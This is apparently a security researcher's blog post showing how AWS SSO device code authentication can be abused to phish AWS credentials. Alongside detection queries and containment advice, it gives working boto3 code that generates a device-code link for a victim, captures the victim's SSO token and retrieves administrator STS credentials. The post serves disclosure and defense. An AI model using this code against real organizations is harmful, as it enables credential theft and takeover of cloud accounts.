Phishing for AWS credentials via AWS SSO device code authentication

When using AWS in an enterprise environment, best practices dictate to use a single sign-on service for identity and access management. AWS SSO is a popular solution, integrating with third-party providers such as Okta and allowing to centrally manage roles and permissions in multiple AWS accounts.

In this post, we demonstrate that AWS SSO is vulnerable by design to device code authentication phishing – just like any identity provider implementing OpenID Connect device code authentication. This technique was first demonstrated by Dr. Nestori Syynimaa for Azure AD. The feature provides a powerful phishing vector for attackers, rendering ineffective controls such as MFA (including Yubikeys) or IP allow-listing at the IdP level.

Background

AWS SSO

AWS SSO is a service offered by AWS to manage roles and identities for multiple AWS accounts. Quoting the documentation:

With AWS SSO, you can easily manage access and user permissions to all of your accounts in AWS Organizations centrally. AWS SSO configures and maintains all the necessary permissions for your accounts automatically, without requiring any additional setup in the individual accounts. You can assign user permissions based on common job functions and customize these permissions to meet your specific security requirements.

Identities in AWS SSO come from the AWS SSO identity store itself. There are 3 ways your users and groups can end up in this identity store:

  • Manually added to the AWS SSO identity store itself. In which case, they are created directly in AWS SSO, who acts as the IdP. (Credentials and password reset flows are then handled by AWS SSO as well.)
  • From Active Directory, and synced automatically to the AWS SSO identity store (one-way sync).
  • From any third-party identity provider such as Okta supporting SAML. If the identity provider supports SCIM, users and groups can be automatically synced to the AWS SSO identity store as well (one-way sync).

Once your identity provider is set up, you can start assigning permission sets to users and groups inside your various accounts.

Using AWS SSO from the CLI

The first thing an engineer will ask when confronted to AWS is: how can I use it from the CLI? As the security folks, our focus is generally on avoiding IAM users whose credentials are long-lived and a nightmare to manage securely.

This is why AWS SSO implements part of the OAuth 2.0 specification – just enough to be able to use it from the CLI:

The AWS SSO OpenID Connect (OIDC) service currently implements only the portions of the OAuth 2.0 Device Authorization Grant standard (https://tools.ietf.org/html/rfc8628) that are necessary to enable SSO authentication with the AWS CLI. Support for other OIDC flows frequently needed for native applications, such as Authorization Code Flow (+ PKCE), will be addressed in future releases.

https://docs.aws.amazon.com/singlesignon/latest/OIDCAPIReference/Welcome.html

Using AWS SSO from the command line is natively supported in tools such as the AWS CLI or aws-vault:

$ aws configure sso
SSO start URL [None]: [None]: https://my-sso-portal.awsapps.com/start
SSO region [None]:us-east-1

Using a browser, open the following URL:
 
https://device.sso.eu-central-1.amazonaws.com/

and enter the following code:
QCFK-N451

After this initial authentication flow, you are shown the list of AWS accounts you have access to and the roles available to you.

The device code grant type

Under the hood, the following is happening:

  1. The client application (AWS CLI) registers an OIDC client by calling sso-oidc:RegisterClient. It does not need authentication to do it.
  2. The client application calls sso-oidc:StartDeviceAuthorization. This generates an URL that looks like https://device.sso.eu-central-1.amazonaws.com/?user_code=SPNB-NVKN
  3. The end user opens the link and is redirected to authenticate on their identity provider. If using AWS on a daily basis, it is likely they are already logged in and transparently redirected to the next step.
  4. The end user opens this URL and sees the following prompt:
  1. Once the end user has accepted the prompt, the client applications calls sso-oidc:CreateToken to retrieve an AWS SSO access token.

With this access token, the client application can use the AWS SSO API, and in particular:

Phishing with AWS SSO device codes

You might have figured; this is a great phishing vector. On top of using a legitimate AWS website, it renders ineffective all the enterprise-grade security mechanisms such as multi-factor authentication, device trust, etc.

Let’s unroll the scenario.

Step 0: Prerequisites

The attacker needs to know ahead of time the AWS SSO URL of the victim organization, which looks like <something>.awsapps.com. This can be found via social engineering, guessing, subdomain discovery, etc.

This isn’t hard for an attacker. Many organizations just use their name. Running sublist3r on awsapps.com already yields hundreds of results.

With the victim-specific AWS SSO URL in mind, the attacker can trivially determine in which region AWS SSO is configured (needed for next steps):

$ curl https://victim.awsapps.com/start/ -s | grep 'meta name="region"'
    <meta name="region" content="us-east-1"/>

Step 1: Attacker initiates a device code authorization flow

Here’s what it looks like with Python:

REGION = 'us-east-1'
AWS_SSO_START_URL = 'https://xxx.awsapps.com/start'

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
    clientName = 'my-attacker',
    clientType = 'public'
)
client_id = client.get('clientId')
client_secret = client.get('clientSecret')

authz = sso_oidc.start_device_authorization(
    clientId=client_id,
    clientSecret=client_secret,
    startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

Step 2: Attacker sends the device authorization URL to the victim

For instance, via phishing. The victim is authenticated by their usual identity provider (e.g. Okta). After passing all the identity provider-specific checks (MFA, device trust…), they only need to accept the following prompt:

Step 3: Attacker retrieves an SSO access token

Once the victim accepts the prompt, the attacker uses sso-oidc:CreateToken to retrieve a SSO access token:

token_response = sso_oidc.create_token(
    clientId=client_id,
    clientSecret=client_secret,
    grantType="urn:ietf:params:oauth:grant-type:device_code",
    deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

The SSO access token retrieved here is valid for 8 hours. Plenty of time to perform and repeat the next steps as needed.

Step 4: Attacker uses the SSO access token to access AWS accounts

Armed with the SSO access token of the victim, the attacker enumerates AWS accounts the victim has access to, as well as the roles available to them.

aws_accounts = sso.list_accounts(accessToken=sso_token)
[
    {
        "accountId": "11xxxxxxxx",
        "accountName": "Dev account",
        "emailAddress": "my-dev-account@example.com"
    },
    {
        "accountId": "54xxxxxxx",
        "accountName": "Prod account",
        "emailAddress": "my-prod-account@example.com"
    }
]

Then, list the AWS SSO roles (“permission sets”) available in a specific account:

roles_response = sso.list_account_roles(
    accessToken=sso_token, 
    accountId="11xxxxxxxx"
)
[
    {
        "roleName": "AdministratorAccess",
        "accountId": "11xxxxxxxxxx"
    },
    {
        "roleName": "ViewOnlyAccess",
        "accountId": "11xxxxxxxxxx"
    }
]

Finally, retrieve STS credentials for a specific permission set in an AWS account:

sts_creds = sso.get_role_credentials(
    accessToken=sso_token,
    roleName='AdministratorAccess',
    accountId='11...'
)
{
    "accessKeyId": "ASIARW4JVWBODWMM5TMN",
    "secretAccessKey": "Ocq..m1T",
    "sessionToken": "IQoJb3..VTNA==",
    "expiration": 1622567348000
}
$ export AWS_ACCESS_KEY_ID=ASIARW4JVWBODWMM5TMN
$ export AWS_SECRET_ACCESS_KEY=Ocq..m1T
$ export AWS_SESSION_TOKEN=IQoJb3..VTNA==

$ aws sts get-caller-identity
{
    "UserId": "AROAR...:christophetd",
    "Account": "11xxxxxxxxxx",
    "Arn": "arn:aws:sts::11xxxxxxxxxx:assumed-role/AWSReservedSSO_AdministratorAccess_e3db84cb28e132d6/christophetd"
}

Alternatively, for lazy attackers who prefer using a GUI, simply:

  1. open your own AWS SSO page (e.g. attacker.awsapps.com/start)
  2. in your browser, replace in the cookie x-amz-sso_authn with the SSO token of the victim
  3. refresh the page

.. and you end up with the AWS accounts list of the victim which you can nicely access from a GUI.

What’s a blog post without a tool?

I published a small Python tool to test the concept:

https://github.com/christophetd/aws-sso-device-code-authentication

Note that this tool isn’t exactly useful, since you can use aws configure sso to achieve the same purpose. But at least, it’s educational and doesn’t mess with your current AWS CLI configuration!

Detection & prevention

Prevention

It’s a feature, not a bug. If you use AWS SSO, you cannot prevent such phishing attacks. It’s also not possible to use a SCP to restrict the calls to sso-oidc:CreateToken to certain conditions, since this API call is performed against the organization master account (which is not subject to SCPs).

CloudTrail events at each step of the attack

In terms of detection, the initial calls to sso-oidc:RegisterClient and sso-oidc:StartDeviceAuthorization are not logged to CloudTrail since they are performed without authentication, and not against a specific AWS account of the organization. But CloudTrail does give us a few information.

First, sso:ListApplications is logged at the exact time when the victim is shown the “Sign-in to AWS CLI” pop-up.

{
    "eventVersion": "1.08",
    "userIdentity": {
        "type": "Unknown",
        "principalId": "<internal victim user id>",
        "accountId": "<organization master account ID>",
        "userName": "<victim display name>"
    },
    "eventTime": "...",
    "eventSource": "sso.amazonaws.com",
    "eventName": "ListApplications",
    "sourceIPAddress": "<Victim source IP>",
    "userAgent": "<Victim browser user agent>"
}

Then, once the victim accepts the prompt and the attacker retrieves the victim’s AWS SSO access token, sso-oidc:CreateToken is generated:

{
    "eventVersion": "1.08",
    "userIdentity": {
        "type": "Unknown",
        "principalId": "<internal victim user id>",
        "accountId": "<organization master account ID>",
        "userName": "<victim display name>"
    },
    "eventSource": "sso.amazonaws.com",
    "eventName": "CreateToken",
    "sourceIPAddress": "<Attacker source IP>",
    "userAgent": "<Attacker user agent (here: Boto3/1.17.80 Python/3.9.5 Darwin/20.3.0 Botocore/1.20.80)>",
    "requestParameters": {
        "clientId": "...",
        "clientSecret": "HIDDEN_DUE_TO_SECURITY_REASONS",
        "grantType": "urn:ietf:params:oauth:grant-type:device_code",
        "deviceCode": "..."
    },
    "responseElements": {
        "accessToken": "HIDDEN_DUE_TO_SECURITY_REASONS",
        "tokenType": "Bearer",
        "expiresIn": 28800,
        "refreshToken": "HIDDEN_DUE_TO_SECURITY_REASONS",
        "idToken": "HIDDEN_DUE_TO_SECURITY_REASONS"
    },
    "recipientAccountId": "<organization master account ID>"
}

Finally, when the attacker enumerates AWS accounts the victim has access to through AWS SSO, sso:ListAccounts and sso:ListAccountRoles are logged:

{
    "eventVersion": "1.08",
    "userIdentity": {
        "type": "Unknown",
        "principalId": "<internal victim user id>",
        "accountId": "<organization master account ID>",
        "userName": "<Victim e-mail>"
    },
    "eventSource": "sso.amazonaws.com",
    "eventName": "ListAccountRoles",
    "sourceIPAddress": "<Attacker source IP>",
    "userAgent": "<Attacker user agent (here: Boto3/1.17.80 Python/3.9.5 Darwin/20.3.0 Botocore/1.20.80)>",
    "recipientAccountId": "<organization master account ID>",
    "serviceEventDetails": {
        "account_id": "<enumerated children account ID>"
    }
}

To sum up:

Attack stepCloudTrail event(s)Source IP
Attacker generates a device code URLNoneN/A
Victim is shown the “Sign-in with AWS CLI” promptsso:ListApplicationsVictim IP
Victim submits the “Sign-in with AWS CLI” promptNoneN/A
Attacker retrieves the victim’s AWS SSO access tokensso-oidc:CreateTokenAttacker IP
Attacker enumerates AWS accounts and roles of the victimsso:ListAccounts
sso:ListAccountRoles
Attacker IP

Note: While ‘CreateToken’ is part of the SSO OIDC API, it is logged in CloudTrail with an eventSource of sso.amazonaws.com.

Detection strategies

A few leads for detection / pseudo-prevention below.

Block and alert on device.sso.<region>.amazonaws.com links on your e-mail gateway

The device authentication links are expected to be generated locally. A link to the domain device.sso.<region>.amazonaws.com in an e-mail should be considered as highly suspicious and investigated.

Alert when different source IPs generate sso:ListApplications and sso-oidc:CreateToken events within a short time interval

Again, since device codes are expected to be used locally, having 2 distinct IP addresses display the “Sign-in with AWS CLI prompt” (victim) and generate an AWS SSO access token (attacker) is suspicious and should be a viable detection strategy. With Splunk and an interval size of 10 minutes:

sourcetype=aws:cloudtrail eventSource=sso.amazonaws.com
| search eventName=ListApplications OR (eventName=CreateToken requestParameters.grantType="urn:ietf:params:oauth:grant-type:device_code")
| bucket _time span=10m
| stats 
    values(sourceIPAddress) as sourceIps, 
    values(userAgent) as userAgents, 
    first(userIdentity.userName) as userNames, 
    distinct_count(sourceIPAddress) as numIps 
  by userIdentity.principalId, _time
| where numIps >= 2
| table userNames, _time, sourceIps, userAgents

(Note that we aggregate by principalId and not userName, because the user name is the victim’s e-mail in sso:ListApplications v.s. their display name in sso-oidc:CreateToken)

For additional tuning, look into:

  • Excluding trusted IP addresses from the CreateToken event search
  • Adding filtering to only match cases with 2 distinct user agents

Alert when the volume of sso:ListAccountRoles events is unusually high for a specific user

A normal usage of AWS SSO (i.e. via the UI or CLI) seems to generate very few sso:ListAccountRoles events. A sudden increase in the number of these events indicates that someone is using a non-standard way to enumerate all the AWS SSO permissions of a specific user, and should be considered highly suspicious. The “normal” flow (e.g. from the AWS SSO portal web application) seems to make use of internal endpoints instead (portal.sso.<region>.amazonaws.com/instance/appinstances).

Alert on unusual source IPs of sso-oidc:CreateToken events

If your engineers authenticate to AWS exclusively from their corporate laptops located in an internal network, you can flag any external source IP used in the sso-oidc:CreateToken event. That can be an indicator of a successful device code phishing attempt, and the IP indicated will be the one used by the attacker.

Containment – revoking AWS SSO access tokens

We identified an employee who was phished using this technique – or any other, for that matter. How can we respond? The first step for containment is to invalidate the AWS SSO access token retrieved by the attacker.

Unfortunately, without knowing the SSO access token value, there is no documented way to revoke it. Manually disabling an user in the AWS SSO identity directory does not immediately invalidate its access tokens. Same goes if you use a third-party IdP such as Okta; disabling a compromised user in Okta doesn’t help if an attacker already stole its AWS SSO access token. I reported this issue to the AWS security team, and they clarified the following:

AWS SSO caches user attributes when they login to the user portal and refreshes them hourly to grant/revoke additional access. If you want to revoke all user access before any 1-hour period expires, you can do so by removing all assignments to the permission sets and accounts the user has access to.

We are already working towards an explicit session revocation feature for the SSO user portal.

So while sub-optimal, there is a way to revoke immediately the access token of an AWS SSO use: remove them from any permission set assignment, whether direct or indirect (e.g. via a group).

Conclusion

One can argue that device code authentication is necessary to offer a nice user experience to engineers so they can work from the CLI using SSO. Which – arguably – remains much less risky than having dozens of unmanaged IAM users laying around. That said, it’s an important reminder that organizations should not see technical controls such as MFA as a silver bullet and continue investing time building security awareness for end users, and crafting high-value threat detection use-cases based on CloudTrail logs (but not only).

Thank you for reading, and keep the conversation going on Twitter @christophetd!

  • Have you ever seen this technique used in the wild?
  • How valuable do you find the detection signals discussed in the post? How does it behave in your environment?
  • For red teamers: Have you ever used this technique, whether for AWS or Azure?

Thank you to my colleague Bogdan for introducing me to this technique for Azure AD; to Dusko Karaklajic of AWS, to the AWS SSO team, to the AWS security team, and to Scott Piper for their valuable input.

Disclaimer: The AWS team requested that I was crystal clear – This is not a vulnerability in AWS SSO. It’s by design and is even called out in the RFC. Any IdP implementing OIDC device code authentication is vulnerable to such kinds of social engineering attacks. It’s even called out in the RFC. See for instance: Introducing a new phishing technique for compromising Office 365 accounts.

2 thoughts on “Phishing for AWS credentials via AWS SSO device code authentication

  1. Pingback:

Leave a Reply

Your email address will not be published. Required fields are marked *